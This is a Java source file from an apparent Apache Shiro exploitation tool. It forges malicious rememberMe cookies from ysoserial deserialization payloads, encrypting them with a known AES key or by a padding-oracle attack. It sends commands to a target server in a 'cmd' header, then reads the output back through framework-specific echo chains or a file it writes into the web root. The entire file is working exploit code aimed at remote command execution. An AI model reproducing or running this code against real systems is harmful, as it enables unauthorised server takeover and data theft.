package com.shiroexploit.util;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.core.PaddingOracle;
import java.io.File;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

public class EchoUtil {
    private static String staticFilePath;

    public static String getEchoResult(String key, PayloadType payloadType, String cmd, EchoType echoType){
        String result;

        switch (echoType.getName()){
            case "SpringEcho1":
            case "SpringEcho2":
            case "TomcatEcho":
            case "TomcatEcho2":
            case "JBossEcho":
            case "WeblogicEcho":
            case "ResinEcho":
            case "JettyEcho":
            case "AutoFindRequestEcho":
                result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);
                break;
            case "LinuxEcho":
            case "WindowsEcho":
                result = getEchoResultWithGeneralMethodTypeB(key, payloadType, cmd, echoType);
                break;
            case "WriteFileEcho":
                result = getEchoResultWithWriteFileMethod(key, payloadType, cmd, echoType);
                break;
            default:
                throw new IllegalStateException("Unexpected value: " + echoType.getName());
        }

        return result;
    }

    public static List<EchoType> getValidEchoType(String key, PayloadType payloadType){
        List<EchoType> list = new ArrayList<>();
        
        List<String> list1 = new ArrayList<>();
        list1.add("SpringEcho1");
        list1.add("SpringEcho2");
        list1.add("TomcatEcho");
        list1.add("TomcatEcho2");
        list1.add("JBossEcho");
        list1.add("WeblogicEcho");
        list1.add("JettyEcho");


        for(EchoType echoType : Config.getInstance().getEchoTypes()) {
            System.out.println("[*] Trying " + echoType.getName());

            String flagText = "xxxxxx" + System.currentTimeMillis();
            String cmd = "echo " + flagText;

            String result = null;
            if(echoType.getName().equals("AutoFindRequestEcho")){
                writeClass(key, payloadType);

                try {
                    int max = 0;
                    if(Config.getInstance().getVulType() == 0){
                        max = 5;
                    }else{
                        max = 1;
                    }

                    for(int i = 0; i < max; i++){
                        result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);

                        if(result.contains(flagText)){
                            break;
                        }

                        Thread.sleep(1000);
                    }
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }

            }else if(echoType.getName().equals("WriteFileEcho")){
                initializeStaticFilePath();
                result = getEchoResultWithWriteFileMethod(key, payloadType, cmd, echoType);
            }else if(list1.contains(echoType.getName())){
                result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);
            }else if(echoType.getName().equals("ResinEcho")){

                int max = 0;
                if(Config.getInstance().getVulType() == 0){
                    max = 5;
                }else{
                    max = 1;
                }

                for(int i = 0; i < max; i++){
                    result = getEchoResultWithGeneralMethodTypeA(key, payloadType, cmd, echoType);

                    if(result.contains(flagText)){
                        break;
                    }

                    try {
                        Thread.sleep(1000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            }else if(echoType.getName().equals("WindowsEcho") || echoType.getName().equals("LinuxEcho")){

                int max = 0;
                if(Config.getInstance().getVulType() == 0){
                    max = 3;
                }else{
                    max = 1;
                }

                for(int i = 0; i < max; i++){
                    result = getEchoResultWithGeneralMethodTypeB(key, payloadType, cmd, echoType);

                    if(result.contains(flagText)){
                        break;
                    }

                    try {
                        Thread.sleep(1000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            }else{
                throw new IllegalStateException("Unexpected value: " + echoType.getName());
            }

            if(result.contains(flagText)){
                list.add(echoType);
            }
        }

        return list;
    }

    public static String getEchoResultWithGeneralMethodTypeA(String key, PayloadType payloadType, String cmd, EchoType echoType){
        if(RememberMeCache.getInstance().getRememberMe(echoType) == null){
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
                    + " directive:" + echoType.getName();


            byte[] payload = Tools.exec(command);

            String rememberMe = null;
            if(Config.getInstance().getVulType() == 0){
                rememberMe = AesEncrypt.encrypt(key, payload);
            }else{
                PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
                try {
                    rememberMe = paddingOracle.encrypt();
                } catch (ExploitFailedException e) {
                    e.printStackTrace();
                }
            }

            RememberMeCache.getInstance().setRememberMe(echoType, rememberMe);
        }


        if(Config.getInstance().getVulType() == 1)
            System.out.println("[*] rememberMe=" + RememberMeCache.getInstance().getRememberMe(echoType).trim());


        HttpRequestInfo httpRequestInfo = Config.getInstance().getRequestInfo();
        httpRequestInfo.getHeaders().put("cmd", cmd);
        String result = HttpRequest.request(httpRequestInfo, RememberMeCache.getInstance().getRememberMe(echoType).trim());

        if(result != null){
            return result.trim();
        }else{
            return "";
        }
    }

    public static String getEchoResultWithGeneralMethodTypeB(String key, PayloadType payloadType, String cmd, EchoType echoType){
        String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
                + " \"directive:" + echoType.getName() + ":" + cmd + "\"";
        byte[] payload = Tools.exec(command);

        String rememberMe = null;
        if(Config.getInstance().getVulType() == 0){
            rememberMe = AesEncrypt.encrypt(key, payload);
        }else{
            PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
            try {
                rememberMe = paddingOracle.encrypt();
            } catch (ExploitFailedException e) {
                e.printStackTrace();
            }
        }

        if(Config.getInstance().getVulType() == 1)
            System.out.println("[*] rememberMe=" + rememberMe);

        String result = HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
        if(result != null){
            return result.trim();
        }else{
            return "";
        }
    }

    public static String getEchoResultWithWriteFileMethod(String key, PayloadType payloadType, String cmd, EchoType echoType){
        List<String> paths = Tools.getPaths(staticFilePath);

        for(String p : paths){
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
                    + " \"directive:" + echoType.getName() + ":" + p + ":" + cmd + "\"";
            byte[] payload = Tools.exec(command);

            String rememberMe = null;
            if(Config.getInstance().getVulType() == 0){
                rememberMe = AesEncrypt.encrypt(key, payload);
            }else{
                PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
                try {
                    rememberMe = paddingOracle.encrypt();
                } catch (ExploitFailedException e) {
                    e.printStackTrace();
                }
            }

            if(Config.getInstance().getVulType() == 1)
                System.out.println("[*] rememberMe=" + rememberMe);

            HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
        }

        String content = "";
        try{
            Thread.sleep(1500);
            content = HttpRequest.getResponse(staticFilePath);
        }catch(Exception e){
            //pass
        }

        if(content != null){
            System.out.println("[+] You can see the result in:" + staticFilePath);
            return content;
        }else{
            return "";
        }
    }

    private static void writeClass(String key, PayloadType payloadType){

        for(int i = 0 ; i < 2; i ++){
            String  command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName()
                    + " directive:WriteClass:" + i;

            byte[] payload = Tools.exec(command);

            String rememberMe = null;
            if(Config.getInstance().getVulType() == 0){
                rememberMe = AesEncrypt.encrypt(key, payload);
            }else{
                PaddingOracle paddingOracle = new PaddingOracle(Config.getInstance().getRequestInfo(), payload);
                try {
                    rememberMe = paddingOracle.encrypt();
                } catch (ExploitFailedException e) {
                    e.printStackTrace();
                }
            }

            HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
        }
    }

    private static void initializeStaticFilePath(){
        URL url = null;
        try {
            url = new URL(Config.getInstance().getStaticFilePath());
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }

        Random random = new Random();
        int rand = random.nextInt(10000);

        if(url.getPath().trim().equals("")){
            EchoUtil.staticFilePath = Config.getInstance().getStaticFilePath() + "/" + rand + ".js";
        }else{
            int index1 = Config.getInstance().getStaticFilePath().lastIndexOf("/");
            int index2 = Config.getInstance().getStaticFilePath().lastIndexOf("\\");
            int index = index1 > index2 ? index1 : index2;

            EchoUtil.staticFilePath = Config.getInstance().getStaticFilePath().substring(0, index) + "/" + rand + ".js";
        }
    }
}